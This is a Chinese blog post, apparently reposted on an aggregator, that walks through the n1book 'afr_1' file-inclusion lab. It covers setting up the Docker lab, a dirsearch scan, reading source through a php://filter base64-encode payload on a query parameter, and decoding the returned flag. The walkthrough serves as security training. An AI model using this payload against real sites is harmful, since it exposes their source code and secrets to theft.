当前位置: 首页 > news >正文

【文件读取/包含】任意文件读取漏洞 afr_1

1.1漏洞描述

漏洞名称任意文件读取漏洞 afr_1
漏洞类型文件读取
漏洞等级
漏洞环境docker
攻击方式

1.2漏洞等级

高危

1.3影响版本

暂无

1.4漏洞复现

1.4.1.基础环境

靶场docker
工具BurpSuite

1.4.2.靶场搭建

        1.创建docker-compose.yml文件

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
    ports:
      - 80:80

        2.将该代码写入文件

启动方式

docker-compose up -d

flag

n1book{afr_1_solved}

关闭

sudo docker-compose down

        3.访问kali 80端口

        搭建成功 

1.5深度利用

1.5.1漏洞点

  • 1.dirsearch目录扫描

dirsearch --url http://10.9.47.79 

  • 2.查看 /flag.php

  • 3.查看/index.php

  • 发现跳转到 ?p=hello

所以可能是/index.html包含了?p=hello

文件包含

  • 4.使用php://fileter 读取(读取php源码)

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

  • 它读取到的结果是base64加密的 

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

  • 5.进行base64解码

  • 6.成功拿到flag

n1book{afr_1_solved}

1.6漏洞挖掘

1.6.1指纹信息

1.7修复建议

  • 升级

  • 打补丁

  • 上设备

http://www.lryc.cn/news/232273.html

相关文章:

  • (八)五种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • 通义灵码,阿里巴巴的编程辅助工具
  • Uniapp导出的iOS应用上架详解
  • 计算机视觉基础(7)——相机基础
  • 解决Github上的README无法显示图片
  • qnx 工程目录创建工具 addvariant
  • 计算机视觉+深度学习+机器学习+opencv+目标检测跟踪+一站式学习(代码+视频+PPT)
  • 【AI视野·今日CV 计算机视觉论文速览 第278期】Mon, 30 Oct 2023
  • 深度学习:多模态与跨模态
  • 大数据Hadoop之——部署hadoop+hive+Mysql环境(Linux)
  • Python与ArcGIS系列(四)在地图文档中加入图层
  • QT 程序异常崩溃
  • Ubuntu20.04 通过nmcli命令查看网卡状态为unmanaged
  • 【R Error系列】r - fatal error : RcppEigen. h:没有这样的文件或目录
  • 如何在聊天记录中实时查找大量的微信群二维码
  • 03-CSS基础选择器
  • 【ROS】RViz2源码分析(二):main函数及编译配置详解
  • Vue.js的生命周期钩子
  • 第3章:搜索与图论【AcWing】
  • C++ Qt 学习(七):Qt 线程与并发
  • Django框架之模板层
  • 【AI视野·今日Robot 机器人论文速览 第六十五期】Mon, 30 Oct 2023
  • LuatOS-SOC接口文档(air780E)--otp - OTP操作库
  • 为什么LDO一般不用在大电流场景?
  • Adobe家里的“3D“建模工 | Dimension
  • MIB 6.1810实验Xv6 and Unix utilities(2)sleep
  • 修改 jar 包中的源码方式
  • Linux命令--重启系统的方法
  • 操作系统 day10(调度的概念、层次、七状态模型)
  • MIB 6.1810操作系统实验:准备工作(Tools Used in 6.1810)